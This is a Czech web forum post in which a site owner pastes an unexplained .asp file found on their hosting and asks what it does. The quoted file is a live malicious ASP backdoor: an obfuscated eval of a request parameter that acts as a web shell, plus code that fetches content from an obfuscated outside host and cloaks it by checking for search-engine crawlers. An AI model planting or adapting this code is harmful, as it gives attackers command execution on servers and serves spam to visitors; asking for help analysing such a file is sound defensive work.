Zahadny .asp soubor na hostingu – .NET – Fórum – Programujte.com

Ahoj,

mam web, kde se me objevil soubor, ktery neni muj a zatim nevim, jak se me tam dostal,

otázkou ale je, co to dela, protoze mi to neni vubec jasny,

prikladam a dekuji za pripadne objasneni:

<%
'this is important file, if you are not professional of the web source,please do not change any code and del it
'power by googles.com
'autoer googles@googles.com
Session.CodePage=65001
Response.charset = "UTF-8"
txtt = Request.QueryString("txt")
If txtt = "txt" Then
	Response.Write txtt
Else
	pathfilename=trim(Request.ServerVariables("SCRIPT_NAME"))
	name = Replace(pathfilename,"/","")
	im = please&admin&"/ugg/get.php?file="&name&"&"&check&"&"&"from_url="&CUrl&"&"&Request.QueryString()
	If second(time())>30 Then
		im = im & "&now="&now()
	End If
	Response.Write page(im)
	On Error Resume Next
	Server.ScriptTimeOut=9999999
End If
Function page(Path)
t = GetBody(Path)
If len(t)<2 Then
t = "no thing"
End If
page=BytesToBstr(t,"UTF-8")
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function please()
please =Replace(Replace("hmmp:gg","m","t"),"g","/")
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function admin()
admin = Replace(Replace(Replace("english;_0_x_0_n,com","_",""),";","."),",",".")
End function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.setRequestHeader "Host", Request.ServerVariables("HTTP_HOST")
.setRequestHeader "User-Agent", Request.ServerVariables("HTTP_USER_AGENT")
If Request.ServerVariables("HTTP_REFERER")<>"" Then
	.setRequestHeader "Referer", Request.ServerVariables("HTTP_REFERER")
End If
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function CUrl()
Domain_Name = LCase(Request.ServerVariables("Server_Name"))
Page_Name = LCase(Request.ServerVariables("Script_Name"))
CUrl = "http://"&Domain_Name&Page_Name
End Function
eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")
Function check()
	user_agent=Request.ServerVariables("HTTP_USER_AGENT")
    allow_agent=split("Googlebot,Spider,Yahoo! Slurp,Yahoo!,msnbot,bingbot,ia_archiver,YandexBot,AhrefsBot,altavista,Inktomi slurp,lycos_spider,twiceler,Heritrix,Exabot,Custo,yacy,SurveyBot,Nutch,Fish search,WGet tools,MSIECrawler,Netcraft,unix ,Linux ",",")
    check_agent=false
    For agenti=lbound(allow_agent) to ubound(allow_agent)
        If instr(1,user_agent,allow_agent(agenti),1)>0 then
            check_agent=true
            exit for
        end if
    Next
	If check_agent=true then  
	spider = "spider=true"
	Else 
	spider = "spider=false"
	End if
	If instr(1,user_agent,"Chrome",1) and instr(1,user_agent,"1024×768",1) then
		check_google=true
	Else
		check_google=false
	End If
	If check_google=true then  
		spider = spider&"&c_g=true"
	Else 
		spider = spider&"&c_g=false"
	End if 
    check=spider
End function
%>